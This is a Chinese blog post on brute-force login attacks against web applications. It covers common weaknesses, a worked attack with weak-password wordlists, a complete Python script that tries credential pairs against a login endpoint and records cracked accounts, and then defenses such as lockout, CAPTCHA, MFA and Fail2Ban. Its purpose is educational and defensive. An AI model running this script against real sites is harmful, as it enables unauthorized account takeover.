前端安全问题——暴破登录

这篇具有很好参考价值的文章主要介绍了前端安全问题——暴破登录。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

声明:本文仅供学习和研究用途,请勿用作违法犯罪之事,若违反则与本人无关。

暴力破解登录是一种常见的前端安全问题,属于未授权访问安全问题的一种,攻击者尝试使用不同的用户名和密码组合来登录到受害者的账户,直到找到正确的用户名和密码组合为止。攻击者可以使用自动化工具,如字典攻击、暴力攻击等来加快攻击速度。这种攻击通常针对用户使用弱密码、没有启用多因素身份验证等情况。

一、发现问题

常见情况

Web 应用的登录认证模块容易被暴破登录的情况有很多,以下是一些常见的情况:

  1. 弱密码:如果用户的密码过于简单,容易被暴破猜解,例如使用常见的密码或者数字组合,或者密码长度太短。

  2. 没有账户锁定机制:如果网站没有设置账户锁定机制,在多次登录失败后未对账户进行锁定,攻击者可以继续尝试暴破登录。

  3. 未加密传输:如果用户在登录时使用的是未加密的 HTTP 协议进行传输,攻击者可以通过网络抓包等方式获取用户的账户名和密码,从而进行暴破登录。

  4. 没有 IP 地址锁定:如果网站没有设置 IP 地址锁定机制,在多次登录失败后不对 IP 地址进行锁定,攻击者无限制的继续尝试暴破登录。

  5. 没有输入验证码:如果网站没有输入验证码的机制,在多次登录失败后不要求用户输入验证码,攻击者可以通过自动化程序进行暴破登录。

  6. 使用默认账户名和密码:如果网站的管理员或用户使用了默认的账户名和密码,攻击者可以通过枚举默认账户名和密码的方式进行暴破登录。

常用工具

为了检测 Web 应用的登录认证模块是否存在暴破登录漏洞,可以使用以下工具:

  1. Burp Suite:Burp Suite 是一款常用的 Web 应用程序安全测试工具,其中包含了许多模块和插件,可用于检测网站的登录认证模块是否存在暴破登录漏洞。

  2. OWASP ZAP:OWASP ZAP 是一个免费的 Web 应用程序安全测试工具,可以用于检测登录认证模块的安全性,并提供一系列的攻击模拟工具。

需要注意的是,这些工具只应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。

二、分析问题

对目标 Web 应用进行暴破登录攻击实例:

1. 通过 Google Chrome 开发者工具查看登录请求接口地址、请求参数和响应数据等信息

可以在登录界面随意输入一个账号和密码,然后点击登录,即可在开发者工具的网络面板查看登录接口相关信息。

  • 请求地址:

    web暴破怎么解决,前端,安全,测试工具

    由图可知,应用使用的是 HTTP 协议,而不是更安全的 HTTPS 协议。

  • 请求参数:

    web暴破怎么解决,前端,安全,测试工具

    由图可知,登录接口的请求参数用户名和密码用的都是明文。

  • 响应数据:

    web暴破怎么解决,前端,安全,测试工具

2. 构建目标 Web 应用 URL 字典、账号字典和密码字典

  • URL 字典 url.txt:

    http://123.123.123.123:1234/
    
  • 账号字典 usr.txt

    admin
    

    admin 是很多 Web 后端管理应用常用的管理员默认账号。

  • 密码字典 pwd.txt:

    1234
    12345
    123456
    

    密码字典是三个被常用的弱密码。

3. 暴力破解登录代码示例

Python 脚本代码示例:

from io import TextIOWrapper
import json
import logging
import os
import time
import requests
from requests.adapters import HTTPAdapter

g_input_path = './brute_force_login/input/'
g_output_path = './brute_force_login/output/'

def log():
    # 创建日志文件存放文件夹
    root_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
    log_dir = os.path.join(root_dir,  'logs', 'brute_force_login')

    if not os.path.exists(log_dir):
        os.mkdir(log_dir)

    # 创建一个日志器
    logger = logging.getLogger("logger")

    # 设置日志输出的最低等级,低于当前等级则会被忽略
    logger.setLevel(logging.INFO)

    # 创建处理器:sh为控制台处理器,fh为文件处理器
    sh = logging.StreamHandler()

    # 创建处理器:sh为控制台处理器,fh为文件处理器,log_file为日志存放的文件夹
    log_file = os.path.join(log_dir, "{}.log".format(
        time.strftime("%Y-%m-%d", time.localtime())))
    fh = logging.FileHandler(log_file, encoding="UTF-8")

    # 创建格式器,并将sh,fh设置对应的格式
    formator = logging.Formatter(
        fmt="%(asctime)s %(levelname)s %(message)s", datefmt="%Y/%m/%d %X")

    sh.setFormatter(formator)
    fh.setFormatter(formator)

    # 将处理器,添加至日志器中
    logger.addHandler(sh)
    logger.addHandler(fh)

    return logger

globalLogger = log()

def myRequest(url: str, method: str, data, proxyIpPort="localhost", authorizationBase64Str=''):
    # 请求头
    headers = {
        "content-type": "application/json",
        'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36',
    }

    if authorizationBase64Str != '':
        headers['Authorization'] = 'Basic ' + authorizationBase64Str

    proxies = {}
    if proxyIpPort != "localhost":
        proxies = {
            "http": "http://" + proxyIpPort,
            "https": "http://" + proxyIpPort
        }

    try:
        s = requests.Session()
        # 配置请求超时重试
        s.mount('http://', HTTPAdapter(max_retries=1))
        s.mount('https://', HTTPAdapter(max_retries=1))

        response = None
        # 构造发送请求
        if method == 'get':
            response = s.get(url=url, headers=headers, data=data,
                            proxies=proxies,  timeout=(3.05, 1))
        elif method == 'post':
            response = s.post(url=url, headers=headers, data=data,
                            proxies=proxies,  timeout=(3.05, 1))
        else:
            globalLogger.warning("Request Method Invalid")
            return 'RequestException'
        # 响应数据
        globalLogger.info(
            "MyRequest Request ResponseText:\n {}".format(response.text))
        return response.text
    except requests.exceptions.RequestException as e:
        globalLogger.warning("RequestException: {}".format(e))
        return 'RequestException'


def getStrListFromFile(fileContent: TextIOWrapper):
    return fileContent.read().rstrip('\n').replace('\n', ';').split(';')


def attackTargetSite(url: str, usr: str, pwd: str):
    reStr = 'FAIL'

    fullUrl = url + 'webapp/web/login'
    globalLogger.info("attackTargetSite Request Url: {}".format(fullUrl))

    reqData = {
        "name": usr,
        "password": pwd
    }

    resp = myRequest(fullUrl, 'post', json.dumps(reqData).encode("utf-8"))

    if '"status":200' in resp:
        reStr = 'SUCCESS'
    elif 'RequestException' in resp:
        reStr = 'RequestException'

    return reStr

def attack():
    try:
        input_path = g_input_path

        # 读取url文件
        input_url_filename = 'url.txt'
        urlFileContent = open(os.path.join(
            input_path, input_url_filename), 'r')
        url_list = getStrListFromFile(urlFileContent)

        # 读取用户名字典文件
        input_usr_filename = 'usr.txt'
        usrFileContent = open(os.path.join(
            input_path, input_usr_filename), 'r')
        usr_list = getStrListFromFile(usrFileContent)

        # 读取密码字典文件
        input_pwd_filename = 'pwd.txt'
        pwdFileContent = open(os.path.join(
            input_path, input_pwd_filename), 'r')
        pwd_list = getStrListFromFile(pwdFileContent)

        # 输出文件路径及名称
        output_path = g_output_path
        output_hacked_url = 'hackedUrlAndPwd.txt'

        with open(os.path.join(output_path, output_hacked_url), 'w') as output_file:
            i = 0
            for url in url_list:
                i += 1
                j = 0
                for usr in usr_list:
                    j += 1
                    resp = 'FAIL'
                    k = 0
                    for pwd in pwd_list:
                        k += 1
                        resp = attackTargetSite(url, usr, pwd)
                        if resp == 'SUCCESS':
                            output_file.write(url + '\n')
                            output_file.write('{}:{}\n'.format(usr, pwd))
                            # 数据实时写入文件(无缓冲写入)
                            output_file.flush()

                            pStr = "[SUCCESS {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] success".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                            break
                        elif 'RequestException' in resp:
                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                            break
                        else:
                            pStr = "[FAILED {}/{}]: use {}/{} username [{}] and {}/{} password [{}] attack [{}] fail".format(
                                i, len(url_list),  j, len(usr_list), usr, k, len(pwd_list), pwd, url)
                            globalLogger.info(pStr)
                    if resp == 'SUCCESS':
                        break
                    elif 'RequestException' in resp:
                        break

    finally:
        if urlFileContent:
            urlFileContent.close()
        if usrFileContent:
            usrFileContent.close()
        if pwdFileContent:
            pwdFileContent.close()
        if pipFileContent:
            pipFileContent.close()

attack()

上述 Python 代码中导入了 io、json、logging、os、time 和 requests 模块。 log 函数用于设置日志文件的路径和格式,以及创建日志记录器,并返回该记录器。 myRequest 函数用于发送 HTTP 请求,并返回响应文本。函数 attackTargetSite 用于攻击目标网站的登录页面。最后,函数 attack 读取 url.txt、usr.txt 和 pwd.txt 文件,以此作为参数进行攻击,并将破解的网站和密码保存到 hackedUrlAndPwd.txt 文件中。

成功破解的目标站点将 URL、账号和密码保存到 hackedUrlAndPwd.txt 文件中,如:

http://123.123.123.123:1234/
admin:1234

其中, http://123.123.123.123:1234/ 为目标 Web 应用站点的 URL,admin 为账号,1234 为密码。

由上述代码可知,在目标 Web 应用站点存在使用弱密码、默认账户和密码(弱)、无锁定账户功能、无验证码功能等情况下,暴破登录是很容易成功的。

三、解决问题

防范措施

以下是一些预防暴力破解登录的措施:

  1. 强制密码复杂度:应用程序应该强制用户使用复杂的密码,如包含数字、字母和符号,并设置密码最小长度限制,以减少暴力破解的成功率。

  2. 锁定账户:应用程序应该有一个策略来锁定用户账户,例如,如果用户连续多次输入错误的密码,应该锁定账户一段时间,以减少暴力破解攻击的成功率。

  3. 安全加密:密码应该使用安全的加密方式进行存储,以防止攻击者获取敏感信息。开发人员应该使用强密码哈希算法,并对散列值使用盐进行加密,从而增加破解难度。

  4. IP 地址锁定:设置 IP 地址锁定机制,在多次登录失败后对 IP 地址进行锁定,增加攻击者的攻击成本,当然,攻击者也是可以通过更换代理 IP 的方式继续尝试暴破登录。

  5. 添加验证码:添加验证码是一种简单而有效的防止暴力破解登录的方法。在登录界面添加验证码,可以有效地防止自动化工具的攻击。

  6. 检查 IP 地址:可以在用户登录时记录用户的 IP 地址,并在未授权的 IP 地址尝试登录时触发警报或阻止登录。

  7. 多因素身份验证:多因素身份验证是一种额外的安全层,通过使用至少两种身份验证因素来验证用户的身份,增加攻击者成功攻击的难度。通常,多因素身份验证会结合密码和另一种身份验证因素,如短信验证码、邮件验证、令牌等。

  8. 加强日志监控:开发人员应该在应用程序中记录关键事件和操作,并实时监控和分析日志,以发现潜在的安全威胁。

防御工具

以下是一些应对暴力破解登录的常用工具:

  1. Wireshark:Wireshark 是一个免费的网络协议分析工具,可以用于监视和分析网络数据包。通过使用 Wireshark,可以捕获网站登录认证过程中的网络数据包,以检查是否存在攻击者使用的暴破攻击模式。

  2. Fail2Ban:Fail2Ban 是一个安全性程序,可用于防止恶意暴破登录行为。它使用规则来检测多个失败登录尝试,并暂时禁止来自相同 IP 地址的任何进一步尝试。通过 Fail2Ban,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  3. Web Application Firewall(WAF):Web 应用程序防火墙是一种用于保护 Web 应用程序的安全性的网络安全控制器。WAF 可以检测和阻止恶意的登录尝试,并提供实时保护。通过使用 WAF,可以检查网站是否已经采取措施来保护登录认证模块免受暴力破解攻击。

  4. Log File Analyzer:日志文件分析工具可以用于分析网站日志文件,以确定是否存在任何异常登录尝试。通过分析登录活动的日志,可以发现任何暴破攻击的痕迹,并识别攻击者的 IP 地址。

需要注意的是,这些工具仅应用于测试和评估自己的 Web 应用程序,而不应用于攻击他人的 Web 应用程序。在进行安全测试时,应获得相关方的授权和许可,并遵循合适的安全测试流程和规范。文章来源地址https://www.toymoban.com/news/detail-788687.html

到了这里,关于前端安全问题——暴破登录的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 自动化测试工具Selenium的基本使用方法,面试字节跳动的前端工程师该怎么准备

    8.小结 上述均可以改写成find_element(By.ID,‘kw’)的形式 find_elements_by_xxx的形式是查找到多个元素,结果为列表 import time from selenium import webdriver#驱动浏览器 from selenium.webdriver import ActionChains #滑动 from selenium.webdriver.common.by import By #选择器 from selenium.webdriver.common.by import By #按照什

    2024年04月16日
    浏览(35)
  • 前端开发怎么解决性能优化的问题? - 易智编译EaseEditing

    前端性能优化是确保网站或应用在加载速度、响应性和用户体验等方面达到最佳状态的关键任务。以下是一些解决前端性能优化问题的方法: 压缩和合并代码: 压缩和合并CSS、JavaScript和HTML文件可以减少文件大小,加快加载速度。使用压缩工具(如UglifyJS和CSSNano)和构建工具

    2024年02月11日
    浏览(31)
  • Web安全问题记录以及解决方案

    当登录时,接口返回token作为所有接口登录的凭证,web端保存token,一般用cookie的方法。查资料发现这种保存方式存在漏洞。 错误: 办法: 删除 js-cookie 重新打包就可以了。至于页面上的数据,全局查询cookie,存放在 localstroge 。 分析: Web安全-JQuery框架XSS漏洞浅析 http://www.zzton

    2024年02月08日
    浏览(22)
  • 自学网络安全遇到问题怎么解决?路线是什么

    自学网络安全很容易学着学着就迷茫了,找到源头问题,解决它就可以了,所以首先咱们聊聊,学习网络安全方向通常会有哪些问题,看到后面有惊喜哦 1、打基础时间太长 学基础花费很长时间,光语言都有几门,有些人会倒在学习 linux 系统及命令的路上,更多的人会倒在学

    2024年02月06日
    浏览(39)
  • Django用RSA实现Web登录加密传输,预防抓包泄漏密码,解决ModelForm无法实现传输加密问题

    问题:         在使用Django学习制作网站时候,以为后端钩子处理使用了md5加密,数据库中也同样以md5的方式存储,这样就解决了密码泄漏问题,因为对前端没有足够的了解所以枉下次定论。         在测试爬取自己的网站时候发现,登录页面控制台能抓包看见密码明

    2024年02月01日
    浏览(67)
  • 前端面试:【跨域与安全】跨域问题及解决方案

    嗨,亲爱的Web开发者!在构建现代Web应用时,跨域问题和安全性一直是不可忽视的挑战之一。本文将深入探讨跨域问题的背景以及解决方案,以确保你的应用既安全又能与其他域名的资源进行互操作。 1. 什么是跨域问题? 跨域问题指的是在Web开发中,浏览器的同源策略(S

    2024年02月11日
    浏览(44)
  • RSA加密:Web前端登录账户密码加密传输

        一般在做系统时候对安全性要求比较高,现在通常选择https协议来进行数据传输。很多情况下一般的javaweb网站,如果安全要求不是很高的话,用https协议就可以了。在这种情况下,密码的明文传输显然是不合适的,因为请求如果在传输过程中被截了,就可以直接拿明文密

    2024年02月10日
    浏览(38)
  • 彻底理解前端安全面试题(3)—— CORS跨域资源共享,解决跨域问题,建议收藏(含源码)

    前端关于网络安全看似高深莫测,其实来来回回就那么点东西,我总结一下就是 3 + 1  = 4,3个用字母描述的【分别是 XSS、CSRF、CORS】 + 一个中间人攻击。当然 CORS 同源策略是为了防止攻击的安全策略,其他的都是网络攻击。除了这 4 个前端相关的面试题,其他的都是一些不常

    2024年02月01日
    浏览(37)
  • 写一篇前端Vue怎么获取登录的用户名的博客

    前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女通用,看懂了就去分享给你的码吧。 在前端开发中,获取登录用户的用户名是一项常见的需求。Vue 是一种流行的前端框架,提供了多种方法来获取登

    2024年02月11日
    浏览(38)
  • Java Web 安全实战:从登录到退出

    在当今互联网时代,用户信息安全至关重要。在Java Web开发中,Spring Security是一个强大且灵活的身份验证和访问控制框架,它可以帮助我们构建安全可靠的应用程序。本文将介绍如何使用Spring Security实现一个安全的Java Web应用,涵盖登录、记住我、授权、退出登录、验证码、

    2024年01月16日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包